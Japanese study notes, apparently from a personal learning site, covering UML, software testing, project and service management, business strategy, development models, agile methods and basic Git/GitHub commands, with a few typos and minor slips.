
UMLのダイヤグラム

UMLの図は構造図振る舞い図に分類できる。

Image

10.7.5. クラス図

クラスの定義や関連付けを示す図である。 クラス内の属性と操作を記述し、クラス同士を線でつないで互いの関係を表する。

Image

10.7.6. ユースケース図

利用者視点でシステムが要求に対してどう振る舞うかを示す図である。

Image

10.7.7. アクティビティ図

業務や処理のフローを表す図である。

Image

10.7.8. シーケンス図

オブジェクト間のやり取りをし系列に沿って表す図である。 オブジェクト同士の相互作用を表すもので、オブジェクト下の点線で生成から消滅までを表しそこで行われるメッセージのやり取りを矢印で表す。

Image

10.8. テスト

10.8.1. 単体テスト

単体テストでは各モジュールごとにテストを個なって誤りがないかを検証する。 この手法ではブラックボックステストホワイトボックステストという手法を用いて検証を行う。

10.8.2. 結合テスト

結合テストでは複数のモジュールを繋ぎ合わせて検証を行い、モジュール間のインターフェスが正常に機能しているかを確認する

結合テストではテストする順番によりボトムアップテストトップダウンテストがある。

ボトムアップテスト

下位のモジュールから上位のモジュールへ順にテストする方法。 上位にはドライバと呼ばれるダミーモジュールを用意する。

トップダウンテスト

上位のモジュールから下位のモジュールへ順にテストする方法。 下位にはスタブと呼ばれるダミーモジュールを用意する。

その他のテスト

トップダウンテストとボトムアップテストを組み合わせて行う折衷テストやすべてのモジュールを一気につなげるビッグバンテストがある。

10.8.3. ブラックボックステストとホワイトボックステスト

ブラックボックステスト

モジュールの内部構造は意識せず入力に対して適切な出力が仕様通りに得られるかを確認する。

ホワイトボックステスト

モジュール内部構造が正しく作られているかを検証する。入出力は構造をテストするためだけに過ぎない。

10.8.4. テストデータの決めごと

ブラックボックステストを行う際に入力値をしっかり定義づけることが大切となる。その入力テストデータを作成する基準として用いらるのは同値分割限界値分析である。

同値分割

データ範囲を種類ごとのグループに分け、それぞれから代表的な値を抜き出してテストデータとして用いる。

限界値分析

限界値分析では上記グループの境目部分を重点的にチェックする。境界前後の値をテストデータに用い、境界値分析と言う。

10.8.5. リグレッションテスト

リグレッションテスト(退行テスト)はプログラムを修正した時にその修正内容が正常に動作していた部分まで悪影響を与えていないかを確認するテスト

10.9. レビュー手法

10.0.1. レビューの種類

デザインレビュー

デザインレビューは要件定義/外部設計/内部設計で行われるレビューで、使用の不備や誤りを早い段階で見つけるために行われるもの

コードレビュー

コードレビューはプログラミングの段階で行われるものでプログラムのミスを発見するために行われるもの

10.1.2. レビューの手法

ウォークスルー

ウォークスルーはレビューの対象物の作成者が主催者となり他の関係者に説明する手法のこと。

インスペクション

インスペクションはモデレータと呼ばれる第3者が議長になり行うレビューのこと。

1.11 - 11.マネジメント

いろいろ(蛇足)

11.1. プロジェクトマネジメント

11.1.1. マネージャの役割

用語説明
プロジェクトマネジメントプロジェクトを管理すること
プロジェクトマネージャープロジェクトを管理する人
ステークホルダープロジェクト活動により利害が生じる可能性のある人
スコープマネジメントプロジェクトの目的や範囲を明確にしたうえで何をするのか、しないのかを決め必要な作業を洗い出すこと

コストの見積もり

システムの開発工数や費用を見積もる方法にはファンクションポイント法と呼ばれる、画面数といった入出力のシステム機能に着目し、すべての機能に処理の難易度に応じ、「ファンクションポイント」という点数を杖、機能の個数と点数を計算して見積もる

スケジュール管理

システム開発全体のスケジュールを管理するのは大変なのでWBSと呼ばれるトップダウン方式で作業を細分化し階層のように管理する方法がとられる。

11.2. アローダイアグラム

11.2.1. アローダイアグラム

アローダイアグラム(PERT)は1つ1つの作業を「→」で表し、矢印の上に作業名、下に所要日数を記載し、作業同士の結合点は「○」で表す手法。 スケジュール管理を見積もるときに使用される。

アローダイアグラム

11.2.2. クリティカルパス

クリティカルパスは作業開始から作業終了まで複数の経路がある中で、最も時間のかかる経路のこと。 また、ダミー作業は実際の作業は存在せず、作業前後関係だけを表す作業のことで「- - >」で表される

クリティカルパス

11.2.3. 最早結合点時刻と最遅結合点時刻

最早結合点時刻

最早結合点時刻はもっとも作業を早く開始できる日時のことで「いつから次の作業に取り掛かれるか」という最短所要日数を表す。

最遅結合点時刻

最遅結合点時刻はプロジェクト全体に影響を与えない範囲で最も作業を遅らせて開始した場合の日時のこと。「いつまでに作業をすれば全体の進捗に影響が出ないかを逆算する。

11.2.4. トレンドチャート

トレンドチャートはプロジェクト全体の進捗管理に用いられるグラフで、作業の進捗状況と予算の消費状況を関連付けて折れ線グラフで表す

トレンドチャート

11.3. サービスマネジメント

11.3.1. サービスマネジメント

サービスマネジメントはサービス利用者に満足してもらうための自社サービスを適切に提供できるようにするための取り組みのこと。 また、サービスマネジメントシステムは企業が組織的にサービスを管理するための仕組みのこと。

ITサービスマネジメント

ITサービスマネジメントはITを用いてサービスを改善していく取り組みのこと。

11.3.2. ITILとJIS Q 20000

ITILはITサービスを提供するにあたっての管理・運用規則に関するベストプラクティスが体系的にまとめられたガイドラインのこと。

JIS Q 20000はITサービスマネジメントの国際規格(ISO/IEC 20000)を翻訳したもののこと。サービスマネジメントシステムの要件、設計/実装/運用/改善に関するプロセスやリソース、ドキュメントなどの記述がある。

  • サービス提供プロセス * サービスレベル管理 * キャパシティ管理 * 可用性管理
  • 解決プロセス * インシデント管理 * 問題管理

SLA(Service Level Agreement)

サービスレベルアグリーメント(SLA)はサービスレベル合意書であり、サービスの利用者と提供者の間で「どのようなサービスをどういった品質で提供するか」を取り決めて明文化したものである。

設定した目標を達成するために、計画-実行-確認-改善というPDCAサイクルを構築し、サービス水準の維持・向上に努める活動はサービスレベルマネージメント(SLM) と呼ばれる。

11.3.3. サービスデスク

サービスデスクは両者からの問い合わせに対応する窓口のこと。

ローカル・サービスデスク

ユーザの拠点内、もしくは物理的に近い場所に設けられたサービスデスクである。

中央サービスデスク

1か所に窓口を集約させたサービスデスクである。

バーチャル・サービスデスク

インターネットなどの通信技術を利用することで、実際には各地に分散しているスタッフを疑似的に1か所で対応しているように見せかけるサービスデスクである。

11.4. システム監査

11.4.1. システム監査とは

システム監査はシステムに関する様々なリスクに対し、きちんと対策が整備/運用できているあどうか評価/検証すること

システム監査の流れ

システム監査の流れは以下の通り

  1. 計画 : 監査項目一覧の作成
  2. 実施 : 予備調査/本調査の実施
  3. 報告 : 被監査部門と意見交換し監査内容に事実誤認がないか確認

システム監査

11.4.2. システム監査基準

システム監査人が行うべき手順や内容をまとめたシステム監査基準を公表している。

システム監査人の独立性

種類内容
外観上の独立性監査対象からシステム監査人が独立していること
精神上の独立性公正かつ客観的に監査判断を行う

システム監査手続きの手法

手法内容
ウォークスルー法データの生成から入力処理出力活用までの工程や組み込まれている制御の動きを追跡
インタビュー法直接関係者に口頭で問い合わせて回答を入手
ドキュメントレビュー法関連する資料や文書を入手し内容を点検
コンピュータ支援監査技法用意したテスト用データを監査対象プログラムで処理し、期待通りの結果が出るか確認

1.12 - 12.企業活動と経営戦略

いろいろ(蛇足)

12. 企業活動と経営戦略

12.1. 企業活動

12.1.1. 企業の経営活動

  • アカウンタビリティ … 経営活動に関する説明責任のこと
  • ステークホルダ … 企業に対する利害関係者のこと

コーポレートガバナンス

コーポレートガバナンスは企業経営の透明性を確保するためにステークホルダが企業活動を監督/監視する仕組みのこと。

内部統制

内部統制は企業の内部組織で不正行為やミスが発生しないように各業務で基準や手続きを定めチェックする体制や仕組みを取り入れる事

BCP

BCP(Business Continuity Plan)は災害など予期せぬ事態が発生した場合でも重要な業務が活動できるように事前に規定しておく方針や行動手順のこと。

12.2.2. 業務プロセスの改善

業務プロセスは業務の流れのことで改善手法にはBPRBPMがある。

項目BPRBPM
定義業務プロセスを根本的に見直し企業の体質や構造を改革業務プロセスの可視化をして無駄や非効率店を発見し改善
視点トップダウンボトムアップ
範囲全社現場ごと
回数1回限りPDCAを回して継続改善

ベンチマーキング

ベンチマーキングは他の優良企業の経営や業務のやり方を比較して自社業務のプロセスを定量的に把握し改善していく手法のこと。

12.2. 組織の形

12.2.1. 組織の種類

事業部組織

事業部組織は商品や市場、地域ごとに組織分けしてそれぞれが独立したしごとぉ行い責任を負う

職能別組織

職能別組織は同じ専門知識を持ったスタッフごとにチームを編成する

マトリックス組織

マトリックス組織は事業部制組織、職能別組織など異なる組織構造をミックスした組織のこと。

プロジェクト組織

プロジェクト組織は特定の目的のために各部門から必要な専門家を集めて組織し一定期間活動する組織のこと。

社内カンパニー制

社内カンパニー制は事業分野ごとに編成した独立採算制の組織のこと。 別会社とは異なる。

12.2.2. 組織の責任者

  • CEO … 最高経営責任者、企業経営に関して最大責任を持つ
  • COO … 最高執行責任者、CEOが決定したことを実践する業務上最高責任者
  • CFO … 最高財務責任者、企業の財務面に責任を持つ
  • CTO … 最高技術責任者、企業の技術戦略や開発に関して責任を持つ
  • CIO … 最高情報責任者、企業の情報化戦略を立案し実行することに責任を持つ

12.3. 経営戦略

12.3.1. 経営戦略とは

経営戦略は企業が目的を達成するために、人やモノ、金、情報といった資源を動のように配分し、行動していくかを決める中長期低名方針や計画のこと。

  • ニッチ戦略 * 他に企業が参入していない隙間となっている市場を開拓する戦略 * ニッチ戦略を取っている企業はマーケットニッチャと呼ばれる
  • コアコンピタンス * 他社にまねできない独自のノウハウや技術のこと
  • アンゾフの成長マトリックス * 事業の成長を考える際に使用される * 「製品」「市場」の2軸をそれぞれ「既存」「新規」に分け企業がどのような成長戦略を取るべきかを示す

12.3.2. 経営資源の調達

  • BPO * BPOはじぎゃの業務の一部を専門業者に委託する経営戦略のこと * 業務プロセス全般御委託する
  • EMS * 他のメーカから受注した電子機器などの委託生産を行うサービスのこと
  • アライアンス * 複数の企業が連携すること
  • グリーン購入(調達) * 製品を製造するための原材料や製品を環境負荷の軽減に努める企業から優先購入すること
  • CSR調達 * 自然環境や人権などの拝領を調達基準として示し、調達先に遵守を求める事

12.3.3. 現状分析

SWOT分析

SWOT分析は企業に対し影響を与える環境を「強み」「弱み」「機会」「脅威」の4要素に分けて分析する手法

PPM

PPMは企業が扱う製品や事業が市場でそのような位置にあるかを把握し、経営資源を効率分配するための分析手法のこと。

分類内容
花形市場が成長してるためさらなる投資を行う
金のなる木投資を必要最低限に抑えて得た利益を他の事業の資金にする
問題児早いうちに集中投資を行い「花形」にするか「負け犬」にならないうちに撤退する
負け犬速撤退や売却が必要

ITポートフォリオ

ITポートフォリオは情報システム導入の投資リスクや投資価値が似たシステムを区分けし、それを組み合わせて最適な資源配分をする手法

プロダクトサイクル

プロダクトサイクルは製品が市場で販売され普及しやがて売れなくなり姿を消すまでのライフサイクルのこと。

プロダクトサイクル

バリューチェーン分析

バリューチェーン分析は各工程でどのような価値が生み出されているか分析する手法のこと。

バランススコアカード

バランススコアカードは財務の視点/顧客の視点/業務プロセスの視点/学習と成長の4つの視点から業務目標と業績評価の指標値を定め、経営戦略を管理する手法。 業務評価のための指標はKPIと呼ばれる。

戦略マップ

戦略マップはバランススコアカードの4つの視点から課題/施策/目的の因果関係を図式化したもの

ナレッジマネジメント

ナレッジマネジメントは社員が仕事で得たノウハウや知識を文書化したり、ナレッジDBを使い組織全体で共有し有効活用する手法

12.4. 効率的なIT投資

12.4.1. ITサービスの種類

  • ハウジングサービス * サーバや通信機器などの設置する場所を提供するサービスのこと
  • ホスティングサービス * サーバや通信機器を貸し出すサービスのこと
  • ASP(Application Service Provider) * インターネットを通じて利用者にソフトウェア機能を提供する事業者やサービスのこと
  • SaaS * インターネットを通じて利用者にソフトウェア機能を提供するサービスのこと * ASPは利用者ごとにサーバやDBを用意するが、SaaSは共有する
  • PaaS * アプリケーションが稼働するためのハードウェアやOS/開発環境などをインターネットを通じて提供するサービスのこと
  • IaaS * 情報システムをご架すために必要なサーバやストレージ、ネットワークなどのITインフラをインターネットを通じて提供するサービスのこと

12.4.2. クラウドコンピューティング

クラウドコンピューティングはインターネットを通じてサーバやミドルウェア、ソフトウェアなどを利用する仕組みのこと。

種類説明
パブリッククラウド不特定多数が共同で利用するクラウドサービス
プライベートクラウド専用に使用するクラウドサービス
ハイブリッドクラウド機密性の高い部分はプライベートクラウド、それ以外はパブリッククラウドと組み合わせる

12.4.3. BYOD

BYODは従業員が個人で所有するPCやスマートフォンを業務のために使用すること

12.4.4. SOA

SOAは既存のアプリケーションソフトウェアを部品化しサービス単位で組み合わせて新しいシステムを作る手法

12.5. データ分析ツール

2 - アプリ開発事前知識

Webアプリケーション、デスクトップアプリなどソフトウェアを作成するための前提知識

2.1 - 1.システム開発基礎知識

システム開発のフローや流れなどに関する解説

1.1. 基本の開発工程

システム開発は以下のフローを用いて開発が行われる。

  1. 企画
  2. 計画(要件定義)
  3. 設計
  4. 実装
  5. テスト
  6. デプロイ(リリース)/保守運用

1.1.1. 企画

企画ではどのようなアプリやサービスを開発するか決める

企画で考慮すべき内容は以下の通り。

  • 基本内容

    • どんなアプリ/サービスを作るのか明確にする
    • それがどのような価値/役割を提供する(何を解決する)を大まかにまとめる
  • その他

    • Webアプリ/ソフトウェア開発の場合
      • ペルソナ(クライアントやユーザ)像を明確にする
      • 類似アプリやサービスがあればそれに関して調査する場合もある
    • ゲーム系の場合
      • 類似ゲームや元ネタ(世界感の構成材料)に関する調査
      • デザイン(ビジュアル)のガイドライン的なものを決める
      • 提供する世界観(ゲームカラー)を決める

1.1.2. 計画(要件定義)

要件定義

要件定義は初めに以下の項目を行う。

  • 実装する機能の整理
    • 機能要件(実装機能一覧)を整理する
    • 非機能要件(UX, 性能, 拡張性, セキュリティなど)を整理する
  • 技術選定 ・・・ アプリ/サービスの構築のために必要な技術を調査
    • 開発人員のバックボーンやスキル/意欲も踏まえる
    • 実装したい機能や特性も踏まえる
    • 開発期間や技術の学習コストも踏まえる
    • 非機能要件(UX, 性能, 拡張性, セキュリティなど)も踏まえる
  • システムの構成(アーキテクチャ設計)を行う
  • 開発人員の体制
    • PM(プロジェクトマネージャー)を決める
    • 開発人員が複数いる場合は担当や役割などを決める
  • タスクの管理体制の確立
    • 開発ワークフローに用いるgitリポジトリの決定
    • 開発に関するドキュメント(機能/DB/API/コーディング規則などの書類)の管理や参照フローの決定
    • 開発する際のコミニケーションやり取りを行うツール(discord, slackなど)の決定

一般的(組織やプロジェクトにおける)な全体における実装順序は以下の通り。(2,3は同時に進む場合もある)

  1. インフラストラクチャの構築
  2. バックエンド(APIサーバ)の機能実装
  3. フロントエンドの機能実装

個人開発のWebアプリでは「バックエンド」=>「フロントエンド」=>「インフラストラクチャ」の開発が無難である。

1.1.3. 設計

基本設計(外部設計)

基本設計では実装機能のドキュメント的なものを作成します。

  • フロント/バック共通
    • 機能設計 … 機能や動作のリストアップ(機能一覧表など)
    • 方式設計 … フロント/バックエンド(DB含む)/インフラごとの技術選定
  • バックエンド
    • データベース設計 … データベースのスキーマの設計(ER図, CRUD図など含む)
    • API設計 … 機能一覧からAPI設計(API仕様書など)
  • フロントエンド
    • 画面設計 … ワイヤフレーム, 画面一覧, ディレクトリマップ, 画面遷移図等
  • インフラストラクチャ
    • アーキテクチャ設計 … アーキテクチャ図など

詳細設計(内部設計)

詳細設計とは、基本設計で決定した内容を基に、ユーザーからは見えないシステム内部の動作・機能を設計して、実際にプログラミングできる内容に詳しく落とし込む工程。(Web系の場合は基本設計に含めてしまうことが多い)

  • モジュール設計 ・・・ Webアプリの機能実装に必要なモジュールの選定や分割を細かく設計します
  • データ設計 ・・・ Webアプリのデータを保存するデータベースの選定・データ処理の流れ・データの保存場所などの細かい設計を行います
  • プログラム設計 ・・・ 設計した内容を実装できるように、プログラミング可能なレベルまで詳しく設計します。具体的には、実装内容・手順をドキュメントに直した設計書の作成等を行います

1.1.4. 実装

設計が完了したあとは開発作業に入って実際にプログラミングを行い実装する。

Gitを用いたタスク管理

Gitを用いた分散型開発の場合は基本的に以下の繰り返しで開発を進める。

  1. タスクごとにブランチを作成
  2. 何らかの機能や改修を実装
  3. 単体テストや結合テストを実装
  4. github上でプルリクエスト作成
  5. レビューを受け修正
  6. マージ7. 1に戻る

1.1.5. テスト

設計された内容を取りこぼし無く実装出来ているのかをテストする。

開発中のアプリをどういった方法でテストするか、どんなテストツールを使用するかを決める。

具体的には入力値のバリテーションチェックや複数の機能のユニットを連結した動作のチェックなどが含まれる。

単体テスト(ユニットテスト)

実装されたコードが設計書に記載された通りにきちんと動くのか検証するテスト。 画面上に見える部分と裏側のデータ双方で、細かい部分の洗い出しが必要となる。

結合テスト(インターフェーステスト)

結合テストとは、モジュール間の結合状態などについて確認するテスト。

統合テスト

全てのモジュールを結合した最終テスト。

1.1.6. デプロイと保守/運営

デプロイ

構築されたインフラストラクチャへ開発したアプリをデプロイする。

個人開発の場合はインフラストラクチャの構築と学習はデプロイする場合に行うと良い。

保守/運営

保守運営を行う。

1.2. 作成すべき設計資料

また設計にあたって作成する文書や図は以下のようなものがある。

Web系で基本的に使いそうなものには○がついてある。他は作るアプリやサービスによる。

図・文書説明Web系
機能一覧表開発する機能を一覧にまとめます。新規アプリケーション開発の場合は外部設計のベースとなります
業務フロー図要件定義フェーズで確定していない場合は外部設計として作成します
画面設計書ユーザーが操作する各画面の構成、及び画面遷移図を設計します
帳票設計書帳簿、伝票などの出力項目、レイアウト、出力タイミングなどを設計します
インターフェース設計書アプリケーションが外部とインターフェースする部分を設計します
データベース設計書データを格納するテーブルを定義します。一般的にはER図を用います
外部ファイル設計書入出力するファイルのフォーマットを定義します
ハードウェアインターフェース設計書ハードウェアの制御方法を記載します
他アプリケーションとの関連図他アプリケーションとの関連、接続方法を記載します
セキュリティ設計要件定義のセキュリティ要件に対する具体的な対応内容を記載します

1.2.1. 画面設計に関する資料

これらはフロントエンド設計でほぼ必ず使うはず。

  • ワイヤーフレーム(画面レイアウト) ・・・ webページのレイアウトを決める設計図
  • 画面一覧表 ・・・ 各画面にどういう機能や文があるかをまとめて一覧にしたもの
  • ディレクトリマップ ・・・ webサイトを構成するすべてのwebページの情報をまとめて、一覧にしたもの
  • 画面遷移図(サイトマップ) ・・・ システムの画面遷移を図で表したもの

1.2.2. データベース設計に関する資料

バックエンド開発におけるDB周りでは必須。

  • テーブル定義書 ・・・ テーブルを作成するための定義書(最悪ER図のみでもよい)
  • ER図 ・・・ 実体と関係という概念を用いてデータ構造を図にしたもの
  • CRUD図 ・・・ 「Create」「Read」「Update」「Delete」の操作がどのテーブルに対して行われているかを画面(機能やユースケース)ごとに記載したもの

1.3. ソフトウェア開発工程のモデル

ソフトウェアの開発モデルにはウォーターフォールアジャイルプロトタイプスパイラルがある。

ソフトウェア

1.3.1. ウォーターフォールモデル

ウォーターフォールは上流工程から計画にもとづいてそれぞれの段階を経て1つのシステムを完成させる開発工程。

多くのシステム会社ではウォーターフォール型でシステム開発を行なっている。

向いているのは以下の場合となる。

  • 作りたいシステムが明確
  • 変更の可能性がない業務システム開発
  • 大規模開発

メリット

  • スケジュール管理がしやすい
  • 予算が組みやすい

デメリット

  • リリースまで時間がかかる
  • 仕様変更やトラブル対応に難しい

1.3.2. アジャイルモデル

アジャイルはアプリ/システム開発を小さな単位に分け、実装とテストを繰り返しながら開発を行う工程。

優先順位の高い機能から順に、「設計」「開発」「テスト」「リリース」を繰り返すことで、システムの機能を充実させていくのが特徴となる。 Web系企業で多く用いられている開発手法。

向いているのは以下の場合となる。

  • 要件や仕様が細かく定まっていない場合
  • 市場の動向や顧客の反応などによって、システムに変更や修正が生じる可能性が高い場合
  • 短期間でサービスをローンチしたい場合

メリット

  • 短期間でリリース可能
  • 仕様変更や不具合に対応しやすい
  • ユーザの要望に反映しやすい

デメリット

  • 方向性がずれやすい
  • スケジュール/進捗の管理がしづらい

1.3.3. スパイラルモデル

スパイラルは機能ごとに開発の小さなサイクルを繰り返し、完成後にリリースする開発手法。

向いているのは以下の場合となる。

  • スピード感よりクオリティが求められる場合
  • 最初に要件や仕様が詳しく定まらず、途中で仕様変更が生じる可能性が高い場合

メリット

  • 仕様変更や修正に柔軟に対応できる
  • クオリティの高いシステムを開発できる
  • 手戻りを最小限に抑えられる

デメリット

  • プロジェクト全体を把握しづらい
  • 開発期間が長期化する恐れがある

1.3.4. プロトタイプモデル

プロトタイプは試作品を作り発注者のレビューを受けて修正する開発手法。

Web制作系やゲーム系企業で多く用いられている開発手法。

向いているのは以下の場合となる。

  • これまでにないシステムの開発
  • 小規模開発や中規模開発
  • 発注者側が開発に慣れていない場合
  • 欲しいシステムの明確なイメージがない場合

メリット

  • 作りたいシステムが具体的でなくても開発を始められる
  • 機能の追加や変更に柔軟に対応可能
  • 大きな修正や手戻りを防ぐことが可能

デメリット

  • プロトタイプ作成のための期間とコストがかかる
  • 計画やコストの予測を立てづらい
  • 当初の目的とは異なるシステムができてしまう場合がある

1.4. アジャイル開発

1.4.1. アジャイル開発とは

アジャイル開発はアプリ/システム開発を小さな単位に分け、実装とテストを繰り返しながら開発を行うもの。

アジャイル開発では技術選定やアーキテクチャ設計は初めの計画で行うと良い。 機能要件を洗いざらい書きだした後はマイルストーン(開発サイクル)ごとに実装する。

1.4.2. アジャイル開発の種類

スクラム

チーム単位で開発を行う手法。

メンバー各自の役割を決めるが、明確なタスクや工程の振り分けは行われない。 メンバー自身がそれぞれ計画を立て進めるため、メンバー全員で責任を共有する。

スクラムマスター(リーダ)が内部の調整やインシデント管理を行い、他メンバーにもそれぞれ役割(ロール)を設定して開発する。

チーム主体の開発手法のため、コミュニケーションが重視となる。 メンバーのスキルをそれぞれが把握することにより、臨機応変かつ効率的な開発を実現可能。

エクストリームプログラミング(XP)

要件や仕様の変更に対して柔軟に対応するための手法。

エンジニアがペアを組み、コーディングをお互いにサポートしながら作業を行うペアプログラミングが基本となる。 エラーや仕様変更に対応しやすい点が強み。 エンジニアのスキルに依存しやすい手法であるため、未熟なエンジニアの場合、開発の効率が大きく低下してしまう場合がある。

ユーザ機能駆動開発(FDD)

ユーザーの目線から価値のある機能を選定し、その機能を中心に開発する手法。

発注側(システムのクライアント)にヒアリングを行い、必要な機能を適切な計画で開発する。 また、機能ごとにチームを編成して開発を行う。

価値が高い機能を実装しやすい手法だが、計画段階から発注側との入念なコミュニケーションが必要となる。

ドメイン駆動開発(DDD)

ドメインモデルをもとにコミュニケーションを取りコードを書いて開発していく手法。

以下の原則を守るように進める。

  • 顧客の課題を正しく理解する
  • 業務の専門家とソフトウェアの専門家が協力しドメインモデルをつくる
  • エンジニアである方もそうでない者も理解できる共通言語を使ってコミュニケーションを進める

ドメインモデル : アプリケーションが対象とする業務領域

1.4.3. アジャイルの開発哲学

リーンソフトウェア開発(LSD)

無駄を省いて品質の高い開発を行うことを重視する。

名前はリーン生産方式に由来。 以下の7つの原則に当てはまるもの。

リリース

適応的ソフトウェア開発(ASD)

継続的な仕様変化に適応することを重視する。 複雑なシステムや状況変化の激しい場合に適した開発哲学。

2.2 - 2.Git/Github基礎

ファイルバージョン管理システムのGitやリポジトリサービスGitHubに関して

2.2.1 - 1.Gitの基礎知識

ファイルバージョン管理システムのGitに関して

Gitは分散型のバージョン管理システムの1つ。
ファイルのバージョン管理が簡単にできるツールといえる。 また以下のような特徴がGitにはある。

  • 古いバージョンに簡単に戻せる
  • 新旧のファイルを一元管理できる
  • 編集した履歴を複数人で共有できる
  • 複数人で修正した部分を一つに統合できる

1.1. リポジトリ(Repository)

リポジトリとは、ファイルやディレクトリを入れて保存しておく貯蔵庫のこと。 Gitにおけるリポジトリは以下の2種類に分かれている。

  • リモートリポジトリ(共有リポジトリ) ・・・ 特定のサーバー上に設置して複数人で共有するためのリポジトリ
  • ローカルリポジトリ(個人リポジトリ) ・・・ ユーザーごとに配置される手元のマシンで編集できるリポジトリ

2種類のリポジトリに分けることで、普段の作業はそれぞれのユーザーが手元のローカルリポジトリで行い、作業内容を共有するときにリモートリポジトリで公開するという使い方になる。 リモートリポジトリを介して他のユーザーの作業内容を把握することも可能。

1.2. コミット(Commit)

コミットは、ファイルやディレクトリの編集作業をローカルリポジトリに記録するために必要な操作のこと。 コミットを実行するとファイルを編集した日時を記録したファイルが生成される。 コミットを実行するごとにファイルが生成され、時系列順にならんで格納されるので、ファイルを編集した履歴やその内容を確認することができる。

1.3. プッシュ(Push)

プッシュとは、ローカルリポジトリにあるファイルをリモートリポジトリに送信して保存する機能。 共有リポジトリへの反映が行われるため、アップロードともいえる。

クローンと異なるのはローカルリポジトリとの差分のみをダウンロードして更新する点

1.4. プル(Pull)

プルとは、共有されているリモートリポジトリに保存されているファイルの内、ローカルリポジトリ(あなたのローカル環境)に無いファイルや他のユーザーが更新したファイルのみをダウンロードする機能。 ようするにリモートリポジトリの内容を同期させるとも言える。

1.5. クローン(Clone)

クローンとは、ダウンロードに近いものもの。 複数人で共有しているファイル(リモートリポジトリ)をまるごと自分のローカル環境(ローカルリポジトリ)に保存する機能。 まったく新規で開発の共有を始める場合に最初に行う作業といえる。

1.6. ブランチ(Branch)

ブランチとは、ファイルの編集履歴を分岐させて記録していく機能のこと。 WEBサービスやソフトウェアの開発において、バグの修正や、機能の追加などのファイル編集作業は複数のユーザーが同時に行うことも少なくない。 並行して同時に行われる作業を正確に管理するためにGitにはブランチという機能が用意されています。これがGitのバージョン管理を効率的にし、間違いを減らすためにもっとも活かされている機能ともいえる。

例としてマスターブランチであるメインのブランチと、そこから分岐してバグの修正や、機能の追加を行っているブランチを記すと以下のようになる。

ブランチ

1.7. マージ(Merge)

複数のブランチを一つにまとめて、完成形に近づけることをマージと呼ぶ。 ブランチの図で言うとバグの修正や、機能の追加を行ったブランチがマスターブランチに統合されている部分のこと。

1.8. フェッチ(Fetch)

リモートリポジトリからファイルの最新情報を取得してくる操作のこと。共有されているファイル(リモートリポジトリ)の更新を確認したり、複数人の作業の擦り合わせのために使う機能といえる。

  • プルと異なる点はローカルのファイルを更新することはないこと。
  • 複数人で同じファイルを編集しているときでもお互い干渉しないようにするための機能と言える。

2.2.2 - 2. Git&GitHubの使い方

GitとGitHubの使用方法

2.1. ローカルリポジトリにおける作業フロー(Git)

2.1.1. GitへのGitHubアカウントへの設定

Git BashまたはターミナルへのGitHubのアカウントの登録は以下のコマンドで行う。

git config --global user.name GitHub登録ユーザ名
git config --global user.email Github登録メールアドレス

GitHub登録ユーザ名とGithub登録メールアドレスは各自用意したものを代入してください。 またGitBashやターミナルへGitHubへのユーザ情報を登録できたかどうかの確認は以下のコマンドで行う。

git config --list

2.1.2. ローカルリポジトリの作成

Git管理したいフォルダに「cdコマンド」で移動する。 その後、リポジトリの新規作成は以下コマンドで行う。 これを行うことでローカルリポジトリが作成できる。 .gitファイルが作成される。

git init

2.1.3. ローカルリポジトリでのGitフロー

ステージングエリアへのファイル追加は以下のコマンドで行う。

git addコマンドでは内容を変更したファイルをステージングエリアに追加します

git add ファイル名
git add .

git commit -m "コメント"コマンドでローカルリポジトリへコミットを行います。

git commit -m "コメント1行目(概要)" -m "" -m "コメント3行目(詳細/理由)"

または

git commit -F- << EOM
>
>
>EOM

一般的な概要のコメント(英語)

  • add: 機能やファイルの追加
  • update: 機能の修正(リファクタリングを含む)
  • fix: バグの修正
  • remove: ファイルの削除
  • refactor: バグ修正/機能追加ではないコードの変更
  • feat: 新機能
  • style: 見た目だけの変更(スペースやセミコロンなど)
  • test: テストの追加か既存テストの修正

詳細に管理したい場合のコメント(英語)

  • change: 仕様変更
  • clean:リファクタリングなど
  • upgrade: バージョンアップ
  • revert: 変更取り消し

2.1.4. ブランチの切り方と切り替え方

ブランチの作成は以下のコマンドで行います。(ブランチ名なしで現在のブランチを確認可能)

git branch ブランチ名

ブランチの移動は以下コマンドで行います。

git checkout ブランチ名

git switch ブランチ名

git checkout-bを付けるとブランチ作成と切り替えをまとめて実行可能。

2.1.5. リポジトリの状態の確認

git status

2.1.6. コミットした履歴の確認

git log
オプション詳細
–oneline1行での表示
-p ファイル名ファイル差分の表示
-n 数字表示数の制限表示

2.1.7. ファイルの削除とステージングエリアへの追加

ファイル削除後に以下のコマンドを実行

git rm ファイル名

オプション-rをつけると完全削除

2.1.8. ファイルの変更差分の確認

git diff 

2.1.9. ファイルの状態を直前のバージョンに戻す

git addをする前の状態で戻す場合

git checkout .

git checkout ファイル名

git addをした後の状態で戻す場合

git reset --hard HEAD

git commitをした後に戻す場合(直前にcommitしたものも取り消す)

git reset --hard HEAD~

特定のファイルのみのバージョンを戻す場合

git checkout コミットID ファイル名

2.1.10. ファイルを古いバージョンに戻す

  1. git logでCommit履歴を確認しコミットIDを取得
  2. git checkout <ID>を行うことでIDのCommitバージョンに戻せる

なお、特定のファイルのみバージョン戻す場合は2.1.9項目を参照。

戻したバージョン(以前のバージョン)の編集を行い、そこから最新バージョンにする場合のcommitは以下の通り。

git commit -a -m "<summary>" -m " " -m "<discription>"

2.1.11. Git管理下のフォルダ名を変更する

git mv フォルダ名/ 変更後のフォルダ名/

2.1.12. 既にGit管理化となっているファイルやディレクトリをgit管理化から外す

git rm --cached ファイル名

git rm -r --cached ディレクトリ名

2.1.13 Commitしたメッセージを変更する

変更したいコミットの履歴を確認、git commit --amendで最新のコミットが修正モードにする。

git log

git commit --amend

2.2. リモートリポジトリを含めた作業フロー(GitHub)

2.2.1. リモートリポジトリの作成

GitHubにブラウザからアクセスしてリモートリポジトリを用意する。

2.2.2. リモートリポジトリへのプッシュ

初期設定は以下のコマンドを実行する。

git remote add origin "GitHubURL"

以下コマンドを実行する。(ローカルリポジトリのブランチ名はこの場合はmaster)

git push -u origin master

2.2.3. リモートリポジトリからプル(ローカルへの反映)

git pull

または

git fetch origin
git merge <マージするブランチ名>

2.2.4. リモートリポジトリの確認と変更(上書き)方法

リモートリポジトリの確認は以下コマンドまたは.git/configで確認可能。

git remote -v

リモートリポジトリの変更は以下コマンドより

git remote set-url リモートレポジトリ名(masterなど) 新しいリモートリポジトリのURL

2.2.5. リモートリポジトリの削除

rmで完全削除

git remote rm リモートレポジトリ名

2.2.6. リモートリポジトリからのクローン

git clone リモートリポジトリのURL

2.3. その他のGitコマンド

コマンド詳細オプション
